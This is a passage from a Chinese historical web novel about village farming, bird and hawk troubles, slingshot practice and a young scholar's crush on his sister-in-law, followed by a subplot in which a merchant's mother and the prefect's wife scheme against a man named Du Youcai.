收回伸出去的无用的手,杜衡咬着后槽牙把被子劈头盖脸蒙到凌十三身上。 一个没长脑子的已经够烦了,又来了个脑子长偏的。 真是受不了了! 次日一早,凌十三满头大汗从被窝里拱出头,咽了下口水,发现嗓子干的连口水都没有。 只得强忍着头疼和酸困,勉强把眼睛睁开了一条缝隙,看了看四周,发现自己已经回到了小院,忙冲外头喊, “杜衡,杜衡,给我倒杯水,渴死我了。” 片刻后,门开了,进来的却不是杜衡,而是马飞翼。 他小心翼翼捧着一碗水走到凌十三跟前,正犹豫着是要把他给扶起来,还是就这么喂到他嘴里时,凌十三已经不耐烦直接抢过了碗。 咕咚咕咚一口气把水喝了个精光,这才觉得嗓子舒服了些,揉着脑袋问马飞翼, “杜衡呢?” “他天刚蒙蒙亮就走了,说要回村里去。” 马飞翼老实回道,小心翼翼避开凌十三的手指,把空碗拿了回来。 凌十三捶着脑袋,不爽抱怨, “这小子,居然都不等我醒,也不问问我事儿办的怎么样了,就想着回家。 不过他家那边确实好玩,山上还有野兔和野鸡,我也想去。 哎,要不是为了办正事,我才不回我家呢,一回去我老娘肯定又要念叨我了。” 对此马飞翼深有同感,他也不想回家。 倒不是怕被念叨,而是怕被追着问学业,被拉着一个劲儿说要努力,要出人头地,要省着用钱,不要跟人攀比。 他真的已经很努力了,可越是跟杜衡接触,就越能清楚感觉到人和人的差距。 杜衡用几个时辰就能写出来的东西,他绞尽脑汁都想不出来。 杜衡夸他行文流畅,遣词造句颇有功底,可他看了杜衡写的东西,才知道什么叫行云流水,什么叫才华横溢。 不过一个话本子,他都能写的如此生动有趣,他便是再努力,也做不到。 马飞翼不想承认自己不如别人,可事实摆在眼前,他就是不如杜衡。 不过看到蓬头垢面的凌十三,想到昨晚无意中看到的那一幕,马飞翼又奇异的心理平衡了。 果然是金无足赤人无完人,杜衡那样一个人,怎么就瞎了眼看上凌十三这样的呢? 凌十三只顾着捶胀痛的头,完全没注意到马飞翼看他的眼神有多么幸灾乐祸。 他现在满脑子都是杜衡之前的叮嘱,回了家要怎么跟娘敲边鼓,让娘帮忙盯着杜有才那边的动静。 还有就是等以杜有才为原型的戏演到并州府那边时,让娘去知府夫人跟前给杜有才上点眼药。 想把杜有才打趴下,知府夫人可是关键助力。 可是要怎么说服他那个凶的要死的老娘,凌十三犯了愁。 家里对杜有才那边的态度是多一事不如少一事,看在知府夫人的面子上,以后不来往了就是。 他主动报复杜有才,家里肯定不同意,所以他不能说实话,只能想办法哄着他娘帮这个忙。 等到凌十三想好办法,起身回家时,杜衡已经赶到了石楼村。 刚进村,杜衡就发现了村里的变化。 河边空地上盖起来一排铺面,最西边的铺子已经挂上了招牌。 “一心堂”,名字有点奇怪,看字是朱叔的笔迹,再看门上对联: “道妙心神竭,方荷车满添。银针不斩客,袍被万千泽。” 原来是医馆,居然已经开张了。 再往前走,杜衡惊奇发现居然有人摆摊,卖菜的、卖油糕的,还有卖布卖衣服的! 把桥头两侧挤了个满满当当,连铺面对面的空地上,也摆了好几个摊位,人来人往,很是热闹。 他才走了半个月,村里居然冒出来一个集市,这未免也太不可思议了吧。 想到嫂嫂以前说过,乡村不一定只有田园,也可以有街道有集市,甚至建起高墙自成一隅。 杜衡不由心潮澎湃,嫂嫂果然是个干大事的人,村里这么短的时间能有这样大的变化,一定是她的功劳。 杜衡越发想要马上见到高娇娇,估摸这个时辰他们应该在地里,就直接找了过去。 哪知刚到地头,就被突然响起的刺耳怪叫吓了一跳。 紧接着,就听到了高二宝兴奋地叫喊, “姑姑,姑姑,快来,又来了鸟!” 然后,穿着蓝色短打,高高挽着袖子和裤脚的高娇娇,就从下头跑了出来。 后面紧跟着同样打扮的杜映梅,两人不知怎地抖落出一很长很奇怪的渔网就撒了出去。 第二百八十一章 心病难医 “抓到了,抓到了!” “两只,有两只呢!” ...... 很快就响起了高二宝等小孩欢快地叫喊,杜衡忙加快脚步走了过去。 等走近了一看,只见高娇娇和杜映梅一人一头正在解渔网。 渔网下面是两只喜鹊,旁边地头高高立着一个像风车,但比小孩玩的风车大许多,下面有很多条条絮絮的奇怪东西。 杜衡忙走过去帮忙,高娇娇和杜映梅见他回来,都很高兴。 三人说话间把渔网解开,高二宝几个一扑而上,抓住喜鹊。 高娇娇收好渔网递给杜映梅,起身把被鸟蹬歪的风车重新立好,往放粮食的盒子里又放了一把小米,这才拍了拍手。 “嫂嫂,这是什么东西?做什么用?” 杜衡好奇地扯了扯风车下面飘飞的带子,问道。 高娇娇有点得意道, “这个啊,是我让二哥帮忙做的喳喳叫,专门用来吓鸟的。” 杜衡不是很明白,吓鸟不都是扎个稻草人嘛,干嘛费这么大劲做这个奇怪的东西? 说起这个,高娇娇可是有一肚子苦水。 她这番麦种的真是一波三折,先是被野猪糟蹋了一通,好不容易补种上,出芽了,一天天好起来了。 鸟又来了,白天偷一轮,晚上又来偷一轮,偷的她地里跟癞子头一样,这边一个空坑,那边一个空坑。 她只能把别处多余的苗移栽过来,可她移栽的速度都赶不上鸟偷吃的速度,气的她恨不得拿上弓箭,把这些该死的鸟射穿。 可鸟不比野猪,这玩意儿它在天上飞,只要飞的够快够高,弓箭也射不到。 高娇娇眼看着幼苗天天被偷吃,头疼得不得了。 高长天他们帮她想了个办法,用稻谷小麦快成熟时用来吓鸟的办法,往地里做个稻草人。 这样鸟误以为地里有人,就不会轻易靠近。 一开始这个办法管点用,但不过两天,鸟就识破了那是个假人不会动,又来偷吃了。 实在是无计可施的时候,高娇娇偶然看到高三宝拿着自制的风车来找冬月他们玩,灵机一动,找高二壮帮忙做了这个会动会响的吓鸟风车。 还在风车上装了个小盒子,里面放上了鸟最爱吃的小米。 鸟为了吃到盒子里的小米,就要站在风车上头,风车受力,被风吹动的时候就喳喳大叫。 这样鸟就会被吓走,一时半刻不敢再回来。 然后高三宝几个就发现这东西可以用来抓鸟,就缠着高娇娇弄了张长条宽幅的渔网。 一听见喳喳叫,就赶紧撒网,抓来的鸟儿扔到后山陷阱里吸引猎物。 靠这个法子,高三宝几个已经抓到了一条很肥的菜花蛇,和两只野鸡了。 杜衡听得感叹不已,种地真是太不容易了,嫂嫂真是聪明的很。 不过,为啥野猪和鸟都往番麦地里跑啊? 他看周围别家的地好像也没受太大影响。 说起这个,高娇娇都忍不住心疼自己。 番麦苗对野猪和鸟好像格外有吸引力,她试过拿荞麦苗和莜麦苗喂大黑,大黑也挺喜欢吃。 但是只有在吃到番麦苗的时候,大黑才会格外兴奋,尾巴甩的跟陀螺,恨不得尥蹶子撒欢。 想来这东西,对它们这些吃草的来说,可能就跟糖对于小孩一样诱人。 这么一说,杜衡就理解了,不由更加心疼高娇娇。 嫂嫂这么早种番麦,也是想替大家积累一些经验,要是跟大家伙一起等到夏收了之后再种,也不会这么辛苦了。 高娇娇要是知道杜衡心里这么想她,肯定要笑。 她可没那么高尚,她就是想在番麦还没推广之前,大赚一笔。 不过种地确实辛苦,不仅要日夜劳作,还要看天吃饭,时刻小心鸟兽毁坏,担心病虫害。 但是亲眼看着自己种下的种子,生根发芽,一天天长大,也非常有成就感。 没被野猪毁坏的那些幼苗,现在已经长到了她膝盖那么高,长得非常快,非常好。 照这个势头长下去,收成肯定错不了。 杜衡看到长得翠绿直挺,生机勃勃的番麦苗,稀奇的不得了。 原来外藩的麦子,长得跟他们的完全不一样。 叶子竟然这么宽大,茎秆竟然这么长,只是幼苗阶段就能长这么高,若不是亲眼所见,真是完全想象不到。 高娇娇见杜衡那副没见识的样儿,好笑不已,比划着冲他道, “你忘了咱们在山里见过的番麦,成熟了能长到我胸口这么高呢。” 杜衡的视线顺着高娇娇的手,落在她的胸前,不由一怔。 已经立夏了,天越来越热,大家也越穿越薄。 高娇娇换上了单衣,蓝色细棉布的短衫和长裤,此刻被风吹着裹在身上,哪怕再宽大,也依然能看出玲珑有致的曲线。 尤其是胸口,弧度很是明显,看的杜衡不禁有些面红耳赤。 他忙移开视线,却不小心落在了高娇娇雪白的胳膊上。 以前杜衡就知道嫂嫂皮肤白,还晒不黑,逃荒路上晒的都脱皮了,也只是红几天就又恢复了过来。 可今日也不知是阳光太耀眼,还是经过一个冬天,又给捂的更白了。 那半截手臂就跟刚出水的莲藕一样,连泥点子都成了点缀,看的人莫名眼馋,忍不住想啃上一口。 杜衡心跳如雷,赶忙低头,结果又看到高娇娇高高挽起的裤脚下,白生生的一截腿。 还有虽然沾满了泥,但依然好看的不得了的脚。 那么小,那么白,连脚指甲盖都粉粉的,像桃花瓣..... “哥,二哥,二哥?二哥!” 杜映梅连喊好几声,杜衡才回过神来。 意识到自己盯着嫂嫂看的入了神,顿时又羞又愧,本就有点红的脸,更是迅速红成了猴屁股。 看的杜映梅都有点慌了,急忙关切问道, “二哥你是不是中暑了啊?怎么看着呆呆的,脸还这么红呢?” 已经准备继续回稻田里帮忙的高娇娇,听到这话,忙伸手摸了摸杜衡脑门。 吓的本就心中乱糟糟的杜衡,更加慌乱无措,想要躲又不敢,只能任由自己更加无地自容,脸红的几乎能滴出血来。 “额头出汗了,有点凉,今天热的很,走那么远,保不齐还真中暑了。” 高娇娇也觉得杜衡很不对劲,有点担心,吩咐杜映梅道, “你赶紧带他去找小刘大夫看看,我去下头帮着他们浇完水了就回去。” “我,不用——” 杜衡想要拒绝,可杜映梅不给他拒绝的机会,直接拽着他就走,还冲他道, “二哥你放心吧,小刘大夫他们的医馆已经开张了,现在药材可齐全了。 让他给你抓一副药,再扎几针,你很快就会好了。” 杜衡........ 心病还需心药医,他这病只怕是好不了。 高娇娇看着杜映梅把杜衡带走,忙快步往下头稻田里走去。 稻子已经发芽了,现在是拔节期,按照正常情况,只要风调雨顺,是不用管的。 无奈今年雨水少的很,除了那一场暴雨,整个春天就没再下过一次雨。 没办法,只能自己引水浇地。 好在当初决定种稻谷的时候也考虑到了这点,稻田都在河边,只用把河水引入提前挖好的渠里,就能灌溉整块地。 为了确保地能够浇透,禾苗不会淹死,人得在地里守着,浇的差不多了就赶紧把水封住,让它流向下一块地。 高娇娇把裤腿袖子挽成这样,就是为了方便干活。 大人们忙着浇地,小孩们忙着捞鱼。 一个个举着网兜鱼篓甚至筐子篮子,挡在河水流过来的口子边,伸长胳膊举着工具,试图捡漏。 不一会儿就有人喊“抓到鱼了”,然后举起手里的家伙什,给大家看他抓到的鱼有多大。 收获一圈羡慕的眼神后,继续抓,看谁抓的多,看谁抓的大。 嘻嘻哈哈,高兴的跟过年一样。 大人们没孩子们这般无忧无虑,高大壮指着河岸线,忧心忡忡对高长天道, “爹,今年雨水少,河里的水位都下降了。 你说这么下去,会不会又闹旱灾啊?” 第二百八十二章 少了一只鸡 高长天也愁,好不容易才安定下来,可不敢再来一回啊。 可他也不得不做最坏的打算,压低声音跟朱钰商量, “要不,我抽空带人进山一趟,把山顶那个湖里流下来的小溪再疏通疏通,在林子里头找个隐蔽处挖个蓄水池?” 朱钰看着远方,山峦起伏,翠意盎然,看着不像是要闹旱灾的样子。 更何况,要是他们这种临河的村子都旱了,那整个岚县,甚至并州府怕是都要完了。 但不怕一万就怕万一,提前做些准备也没什么坏处。 想了想,朱钰沉声道, “大哥,贸然去山里大动土木不太好。 不如这样,就说村里要建房子缺木料,专门组建一支伐木队,让他们每天进山伐木。 顺带在小溪附近建几所房子,挖个蓄水的池子。 万一有什么变故,咱们也可以带领村民暂避进去。” “还是二弟考虑的周全,我这就去找老王他们商量,尽快安排好这事。” 高长天是个行动派,说好了就立刻着手去干。 高娇娇暂时还没想的那么长远,一门心思想要搞钱。 等把地浇完,她就提着鞋子去了河边,洗干净身上的泥,穿上鞋,整理好衣服,就带着高二宝几个回家去了。 高二宝几人提着一兜鱼欢天喜地,姑姑说了今天去她家炸小鱼吃。 村里人过日子节省,舍不得用那么多油炸这种肉少刺多的小鱼。 只有高娇娇舍得,她不仅要炸小鱼,还要炸花生米,炸油糕,炸油饼,炸茼蒿丸子,炸肉丸子。 难得炸一次东西,当然要吃个过瘾才行,更何况杜衡不是也回来了嘛,正好吃点好的。 姚春香戳着高娇娇脑门骂她是个贪吃鬼,不年不节炸这么多东西,日子还过不过了? 可高娇娇嘻嘻一笑,抱着姚春香的胳膊撒个娇,姚春香就无奈叹着气,系上围裙开始去忙活了。 姚春香和曹婶子在厨房炸,高娇娇等人就在门口等着吃。 杜衡不好意思跟小孩一样蹲门口等吃的,被高娇娇一把拉过来,塞进手里两条炸好的小鱼。 一口咬下去,咸香鲜,太好吃了! 便不再挣扎,跟着蹲在了高娇娇旁边。 高娇娇美滋滋吃着炸小鱼,一本正经说着自己的歪理, “这炸货就得趁热吃,刚炸好,表皮酥脆,一口咬下去嘎嘣响,一点都不觉得油腻。 一旦放凉了就不行了,不仅不够酥脆,皮一软再一热,吃着软塌塌的都糊嘴。 简直浪费了这无上的美味,你们说是不是?” 高二宝等人点头如捣蒜,姑姑说的都对,跟着姑姑有好吃的。 杜衡强忍笑意,跟着点头。 嫂嫂绝对不是馋嘴,只是爱吃好吃的罢了。 吃了炸鱼吃油糕,吃了油糕吃油饼,吃肉丸子素丸子,就着刚炒好的小咸菜,配着香喷喷的小米粥。 一人一碗,总算是把肚子里剩的那点缝儿也填满了。 心满意足,舒舒服服回屋睡午觉。 杜衡躺下就睡着了,吃的太饱了容易犯困,再加上一路走回来,他也确实是累了。 只是梦里风吹啊吹,吹的衣服都贴在了身上,他控制不住自己的眼睛,又盯着嫂嫂看个不停。 还被嫂嫂逮了个正着,可她居然没有生气,还笑着靠近了些,轻轻问他, “我好看吗?” 杜衡的心扑通扑通,快要从胸腔里跳出来了。 他想要后退,想要从这个奇怪的氛围里挣脱出来,想提醒嫂嫂,不要离他这么近,被人看见了不好。 可他嗓子眼像是堵住了一般,发不出一点声音来。 嫂嫂却还要凑近,几乎都要贴到他的身上了,还把手放在了他的额头上,关切问他, “你怎么了?脸怎么这么红?” 说着,手就顺着额头往下,轻轻抚在了他的脸上....... “姑姑!姑姑!姑姑........” 一连串急促的孩童惊呼,吵醒了高娇娇她们,也惊醒了杜衡。 感觉到裆下的凉意,杜衡绝望地闭了闭眼睛。 已经是第二回了,都是在这张床上,他对这种感觉已经不陌生了。 小刘大夫说他肾火太旺,给他扎了两针,没开药。 还小声跟他说男子这个年纪有这种脉象很正常,这代表男子要长大成人了,只要清心寡欲,少吃滋补之物,慢慢就会好的。 结果他非但静不下心,还越发不知羞耻,居然在梦中对嫂嫂行那般无耻之事,实在是,无地自容,不配做人。 就在杜衡一边恨不得掐死自己,一边飞快换下裤子时。 高娇娇趿拉着鞋跑了出去,杜映梅也揉着眼睛冲了出来。 只见小寒和冬月惊恐地指着鸡圈,连声道, “少了一只鸡,那只长尾巴公鸡不见了!” 高娇娇脚下一绊,差点摔倒。 杜映梅打着哈欠,不满抱怨道, “兴许是鸡跑出去了吧,就这点小事,喊那么大声干啥,吓我一跳。” 高小寒连忙道, “不是偷跑出去了,是被大鸟抓走了,杜姑姑你看,这是大鸟留下的羽毛。” “地上有毛,鸡流血了。” 高冬月急的很,但年纪太小,会说的词汇有限,只能一个劲儿拉着高娇娇去鸡圈里看。 高娇娇和杜映梅这才看到高小寒手里举着的羽毛,不是鸡毛。 而是一种灰白色的长羽毛,家里的小鸡才刚开始长翅膀,还长不出这么长这么硬的羽毛。 就算能长出来,也不会是这种颜色。 高娇娇走进鸡圈,顺着高冬月指的方向,看到鸡圈里散落的鸡毛。 小鸡缩成一团,躲在鸡棚最角落里,瑟瑟发抖,有两只都受了伤。 一只后颈的毛少了一块,一只翅膀耷拉着,还在滴血。 这情形,还真是被袭击了。 高娇娇忙问高冬月和高小寒, “你们说的大鸟是什么?以前来过咱家吗?进过鸡圈吗?” “大鸟这么大,翅膀这么长,在上头飞啊飞,转圈圈。” 高冬月张开双手比划着,努力描述道。 高小寒补充道, “大鸟前天来过一回,昨天又来了一回,就在上头飞,从这边到那边,来回转圈圈,没下来。 刚才我们过来给小鸡添水,大鸟忽然冲下来抓小鸡,长尾巴公鸡冲上去叨它,它就把三花扔了,抓了长尾巴。” 说到长尾巴,高小寒不由难过的红了眼眶。 他最喜欢长尾巴,长尾巴长得最神气,奶奶说长尾巴会长的很高大,将来还会打鸣呢。 高冬月也眼泪汪汪,拉着高娇娇的手可怜巴巴哀求道, “姑姑,你快去把长尾巴救回来吧。” 高娇娇看着已经空无一物的天空,恨得牙痒痒。 不会是她弄的那个喳喳叫,惹怒了那帮喜鹊,它们专门过来报复吧? 可喜鹊的毛不是白就是黑,她不记得有灰白色的啊。 姚春香和高长天他们听到动静赶了过来,问清情况,看了那根羽毛后,高长天皱眉道, “这是鹞子的毛!” 听高长天说完鹞子的习性,高娇娇不由很是头疼。 鹞子又叫雀鹰,是一种比老鹰小,但是跟老鹰一样凶猛的猛禽。 身长大约一尺左右,飞行有力而灵巧,善于在树丛间穿梭滑翔,很难捕捉。 但好在这种猛禽往往单独生活,天冷了会飞到南边去,一般在山林中生活,不会来到人们聚集的地方捕猎。 这只鹞子大约是刚从南边飞回来不久,饿的厉害,就打起了家养小鸡的主意。 至于为什么盯上高娇娇家的小鸡,而不是别人家的。 大约是她这个鸡圈盖的太大,养的鸡也多,看上去比较显眼吧。 高娇娇郁闷了,她最近莫不是水逆了? 怎么什么倒霉事都找上她啊? 既然找上了,那就想办法解决吧。 她还没吃过鹞子呢,也不知道肉好不好吃。 敢抓她的鸡,她就抓了它来烤了吃! 第二百八十三章 教不会啊 高长天打过鹞子,很清楚鹞子的习性。 这种鸟因为体型小,比不得老鹰体型大,能负重,可以抓野兔小野猪,甚至幼小的孩子。 它主要靠捕猎麻雀老鼠为食,别说招惹人,就连成年的公鸡它都不会主动招惹。 但是对于刚刚长大的小鸡来说,还是很有威胁。 想要在村里射杀鹞子比较难,周围太空荡没遮挡,鹞子速度又快,一飞冲天,很难一击即中。 但是要驱赶就比较容易了,养一只大狗就行。 只要鹞子敢俯冲下来抓鸡,放狗冲上去,只用狂吠就能把鹞子吓跑。 不过他们没有狗,就只能养鹅。 成年大鹅体型比鹞子大,而且鹅胆子大,打起架来很厉害。 要是多养几只大鹅,说不定还能干掉鹞子。 高娇娇本来就有养鹅的打算,只是还没买到鹅苗,现在既然有需要,干脆先买两只大鹅回来。 既能保护小鸡,还能看家护院。 姚春香一听闺女要买鹅,当即就要去桥下村,她知道哪家有鹅,还能那家定下了鹅苗。 高长天忙拦住姚春香, “这不是娇娇一家的事,鹞子也不会只抓她家的小鸡,既然要买,不如问问村里别家要不要。 若是要的多,干脆我派人进城一趟,多买些回来,顺便再买几条狗。” 离山近,野兽猛禽多,时不时还有土匪流民侵扰,没狗是真不行。 有高长天帮着操心,高娇娇和姚春香就不管了。 但是在大鹅和狗没买回来之前,还是得安排人守着。 没办法,每天损失一只鸡,谁也受不了。 除了派人守着,还有个办法就是改建鸡棚。 现在的鸡棚是个四四方方的围栏,一边搭建了棚顶,刮风下雨方便小鸡躲藏。 剩下的地方都是空着,方便喂食和小鸡活动。 棚子的门跟正常的门一样大,方便人进去捡鸡蛋。 姚春香让高娇娇沿着棚顶往下搭建一个斜着的低矮棚子,这样鹞子一旦冲进来,小鸡不仅可以快速躲进去。 还能避免鹞子直接冲进鸡棚抓走小鸡,等到解决了鹞子的威胁,再把这处低矮棚子拆了就行。 反正现在鸡还小,又不会下蛋,不用考虑人进出的问题,棚子盖的越低越好。 高娇娇觉得这个办法不错,立刻就带着杜映梅和杜衡忙碌了起来。 三人找来木材茅草,挖坑埋桩,一直忙到天黑,才把棚子搭好。 看着最低处离地面还不到一尺的棚子,高娇娇拍了拍手,满意道, “我看鹞子还怎么冲进去,它要是敢落地往里头钻,我拼着小鸡不要,也要把它给活捉了!” 杜映梅好奇道, “活捉了干嘛?难道要养着吗?” 高娇娇咬着后槽牙,恶狠狠道, “嗯,养着拔毛,长一根我拔一根,拔了做毽子。” 高小寒和高冬月关听到毽子,立刻拍手道, “姑姑抓了做毽子,抓了做毽子!” 杜衡哭笑不得,鹞子的毛又不好看,做毽子还是鸡毛,尤其是公鸡毛好看。 不过,杜衡忙问, “嫂嫂是想要毽子了吗?我会做,明儿问问高大伯他们有没有野鸡毛,我给你做一个!” 杜映梅一听这话,吃味道, “二哥你怎么不问问我想不想要?” 高小寒和高冬月,一左一右抱住杜衡的腿,也不说话,就仰着头眼巴巴望着他。 杜衡尴尬地看向高娇娇,高娇娇摆了摆手,无情道, “这我可管不了,我去找二哥帮忙做几个弹弓,我觉得打这玩意儿用弹弓说不定比用弓箭方便。” 两个小孩立刻转移目标,牵住高娇娇衣摆。 比起毽子,他们更想要弹弓。 次日一早,高长天安排高三壮带人进城,同意采买大鹅和狗。 高二壮要带人进山伐木,借着伐木盖房疏通小溪,挖蓄水池,实在没空,就让高二宝把弹弓送了过来。 高娇娇拿起一个弹弓试了试,槐木弓架,狼筋做的弓弦,狼皮兜子,握在手里很有分量。 狼的筋有些硬,想要完全拉开需要点力气。 不过也正因为硬,比较费力,能把石子射出去很远,也很有劲。 相比狼筋,鹿筋要软一些,更容易拉开,适合手上没劲儿的小孩用。 高二壮做了三个狼筋的,四个鹿筋的,大人小孩都能用,很是费了一番心思。 弹弓有了,接下来就是练习怎么用弹弓。 比起射箭,用弹弓要容易的多,但是想要准确无误的射中目标,还能对目标造成一定的伤害,就得反复练习才能掌握一定技巧。 杜映梅天天跟在高娇娇后头,上山下河,种地砍树,力气早就练出来了,准头也不缺。 拿起狼筋弹弓,瞄准,松手,石子便如离弦之箭般落在了两丈外的树干上,留下一个淡淡印痕。 高娇娇鼓掌,大声夸赞道, “小梅准头和力度都很不错,就是速度要更快一些,多练练就行了。” 杜映梅很开心,高小寒和高冬月抢着要试试,也得到了高娇娇的夸赞。 就剩杜衡了,杜衡拿起弹弓,有点紧张。 他对所有需要力气的事都不擅长,他怕自己表现太差,嫂嫂实在找不出可以夸的地方。 深吸了口气,杜衡努力让自己保持平静,拉开弹弓,瞄准,射! 石子斜着飞了出去,离树干足有半丈远,还没打到围墙。 杜衡羞愧地红了脸,他的表现还不如小孩子,实在是太差劲了。 高娇娇张了张嘴,这,让她怎么夸? 杜映梅想笑不敢,高小寒和高冬月已经笑了,杜小叔射的一点都不准,还比不上他们! “其实,也还行,起码射出去了,就是没瞄准。” 高娇娇说着,抬起杜衡的手腕,握住他的手重新拉开弹弓,手把手教他, “你要从这儿往目标方向看,不要只盯着石子的位置。 还有这个石子飞出去后,不是直直的,而是个弧线。 就跟咱们去河边打水漂一样,打出去是直的,但实际上是个弯弯.......” 杜衡后背僵直,心怦怦跳的飞快,嫂嫂离他太近了,他有点喘不过气了,怎么办? 他觉得自己的脑子和躯干好像分开了,脑子轻飘飘像是要飞起来了,躯干却被钉在了地上,僵硬的离谱。 高娇娇不知道杜衡心里的波涛汹涌,只觉得金无足赤人无完人,像杜衡这样一个聪明的人,学用弹弓居然这么费劲。 手臂笨拙的离谱,手指僵硬又顽固,她得用点劲才能给他摆正,可一让他瞄准,他眼神就恍惚的很。 高娇娇不由怀疑他是不是读书太用功,把眼睛给用近视了。 那么好看的眼睛,现在呆滞又无神,跟被偷走了魂似的。 高娇娇放弃了,实在教不会啊,但是还得安慰道, “那个,一时半会儿学不会也是常有的事,你又不怎么在家,不会也无妨。 读书是日积月累的事,急不得,你别光知道学,也要保护好眼睛啊。” 杜衡的魂儿还在天上飞,根本没听清高娇娇说了什么。 只本能应了声,就继续回味高娇娇握着他的手,抓着他的胳膊,那股温热从她手心传入他的皮肤,烫的他的心一揪一揪,又疼又快活的滋味。 全然不知,他呆愣愣学不会用弹弓的样子,给高小寒和高冬月带来的震惊。 让他们忍不住偷偷跟小伙伴分享这个秘密,读书那么厉害,大家都夸他聪明的杜小叔,原来是个连弹弓都不会用的笨蛋。 杜衡辛辛苦苦在逃荒路上建立起来的形象,就这么坍塌在了小孩的口口相传中。 甚至连他的亲妹子,都觉得他跟凌十三那种人能玩到一起,不是没有原因的。 对此,凌十三只想说,他才不像杜衡那么没用呢,他可是没挨打也没挨骂,就搞定了他老娘。 第二百八十四章 凌母每个月都会去给夫人请安,对外是说感念夫人照顾,过来探望。 实则是把收益给夫人送过去,没人会嫌钱多,即便贵为知府夫人,也要为家族谋算,为子女后代积攒家产。 朝廷明文规定官员不得经商,但管不了官员后院女眷的嫁妆。 哪个官员家里的女眷没点嫁妆,嫁妆里头有几个铺面,几个庄子,再正常不过了。 要不然光指望那点俸禄银子,想养活一家老小丫鬟仆从,根本不可能。 凌家能在并州府开镖局,能有生意,离不开孙氏的照拂。 孙氏也通过凌家镖局,倒买倒卖南北货物,赚取差价,补贴家用。 双方互惠互利,来往密切,却不在明面上表露分毫,就连账本收益,都是凌母借着请安悄悄带过去。 凌十三软磨硬泡,纠缠不休,凌母也想看杜有才笑话,就半推半就去了知府后院。 孙氏见凌母这个时候过来,有些奇怪。 凌母不提杜有才,只推说听人说大姐儿身子不爽利,放心不下,特意过来看看。 孙氏顿觉贴心,大姐儿是她的大女儿,因早产自小就身子羸弱。 她那时候年轻气盛,对男人还抱有幻想,骤然得知丈夫背着她在书房宠幸了丫鬟,那个丫鬟还怀上了身孕,气的险些落胎。 好在大姐儿福大命大,折腾了三天三夜,还是生了下来。 只是到底在娘胎里待的不够,身子骨没养好,自小就病病歪歪,尤其换季的时节,更是容易生病。 凌母是个知恩图报的,听说大姐儿生病,还特意过来探望,比起那个嫁了人就跟死了一样的表妹,可是好太多了。 别人投之以桃,孙氏也报之以李,随口问起凌母凌十三的近况。 凌母立刻顺着这个话头,说起了凌十三,一脸无奈叹气,说凌十三不好好读书,考了个倒数。 还认识了些不三不四的人,被带去了风月场所,气的她险些把他腿打断。 接着话头一转,又哭笑不得说凌十三花了钱也没留宿,只喝了一肚子酒,还抱怨花娘身上的脂粉味儿呛人,熏的他头疼。 把孙氏逗的哈哈大笑,说凌十三本性纯良,劝凌母不要太过紧张。 凌母假装一个没忍住,说了杜有才包养花娘的事,担心凌十三有样学样。 孙氏冷哼一声,不屑道, “你啊,可千万莫要拿十三同那种下流痞子比,那种人,打从根里就坏着呢。” 凌母见状,便没再多说什么,转而说起了给大姐儿认干娘的事。 因着女儿总生病,孙氏请人看了,说是孩子命弱福厚,压不住,才会常常生病,让认个干娘。 可这干娘的人选,让孙氏发了愁,高人只说要往西南寻,却没说属相年岁,人海茫茫,让她怎么找? 凌母给出了个主意, “要我说,大姐儿命格贵重,一般人怕是压不住。 与其去更远处找贵人,倒不如就认在明净寺的那棵神树下。 我听人说那棵银杏树已经有上千年了,很是灵验,被雷劈了烧焦了都没事。” 孙氏大喜过望,连忙道, “你说的正是,倒是我着相了,一时没想到这个。 认到神树跟前再好不过,你真是替我解决了一个大难题。” 凌母忙谦虚了一番,她也只是随口说说,主要是想表达自己对此事的关心,没想到夫人还真的采纳了。 孙氏很是高兴,凌母走的时候不仅让姚嬷嬷亲自去送,还让人从库房取来一套文房四宝送给凌十三。 凌母也很高兴,今日事情办的异常顺利,想来以夫人的脾气,即便再讨厌杜有才和乔氏,也会派人私下打听一二。 孙氏自然是要打听的,她虽恼极了乔氏,但也不会不管她的死活。 谁让她是姑姑唯一的血脉,谁让杜有才在外人看来依然是她家姻亲,要不岚县知县也不会眼巴巴派人过来送信了。 想到被岚县知县扣押的药材,孙氏不由叹了口气,跟姚嬷嬷抱怨道, “真不知我上辈子到底做了什么孽,怎地就摊上了个这么不省心的表妹? 别人还知道给我些体面,偏她,让我在老爷面前丢尽了脸。” 姚嬷嬷心疼地抚了抚孙氏后背,温声劝道, “些许小事而已,姑娘犯不着烦心,一切交由老奴来办。 姓杜的若真如此不安分,我必将此事亲口告知表小姐。” 孙氏头疼道, “她是个糊涂蛋,耳根软又没主见,即便知道了此事,怕是也只会哭自己可怜。” 姚嬷嬷咬了咬牙道, “实在不行,就把姓杜的废了,我就不信,她还能守着个废人过一辈子。” 孙氏皱了皱眉,不赞同道, “犯不着为了那种烂人脏了自己的手,落人口实。 眼下时局紧张,朝堂混乱,你可别给老爷惹麻烦。” “是,老奴也是一时气恼,口不择言了。” 姚嬷嬷忙低头认错,孙氏也没怪她的意思,知道她也是一心为自己排忧解难,放软了声音道, “先去打听一下情况再说吧。” 姚嬷嬷领命,帮着孙氏给大姐儿喂了药,又安排了明日去明净寺里认干娘的事后,就去了杜家所在的杏花巷。 杏花已经开过了,杏花巷两旁只剩下从别人院里探出来的枝丫,上头还没长成的杏,也被贪嘴的孩子摘了去。 远看绿意盎然,近看稀稀落落。 天色将暗,女人扯着嗓子喊孩子快回家,男人从外面收工回来,赶车的,挑担的,走街串巷卖货的........ 吵闹声混合着饭菜汗臭,裹挟着热气,熏的姚嬷嬷头晕脑胀。 若不是为了姑娘,她才不会踏足这种腌臜地方。 贴着边上干净的路,一路走到跟前,姚嬷嬷额头已经冒了一层汗。 她刚掏出帕子想要擦一下,就听到身后有人问, “敢问婆婆,前面可是做药材生意的杜相公家?” 姚嬷嬷扭头,只见跟她问路的是个桃心脸,梳着小盘髻的小娘子。 素色衣裙,白面粉唇,看着像是个好人家的娘子。 可两鬓垂下的发丝,还有说话时不经意间斜着抬眼,故意露出脖颈的姿态,还是让姚嬷嬷一眼就看出,眼前这人不是个良家女,肯定出身风尘。 低头扫了眼,见她的鞋面跟自己一样灰扑扑的,应该也是一路从巷子口走过来。 再回想她刚才问话时用的是官话,不是并州府方言,姚嬷嬷不由想起了凌母说的话。 这个女子不会就是杜有才在岚县的相好吧? 姚嬷嬷觉得自己今儿来着了,故作镇定点了点头道, “那家是姓杜,你是他家亲戚?” 小桃红羞涩低头,抿唇笑着,不经意摸了摸小腹道, “不是亲戚。” 却不再往下说下去,故意勾着人好奇。 姚嬷嬷心里很是不耻女子的举动,小浪蹄子这点功力还敢在她面前卖弄,当她跟那乔氏一样眼瞎心盲没脑子么? 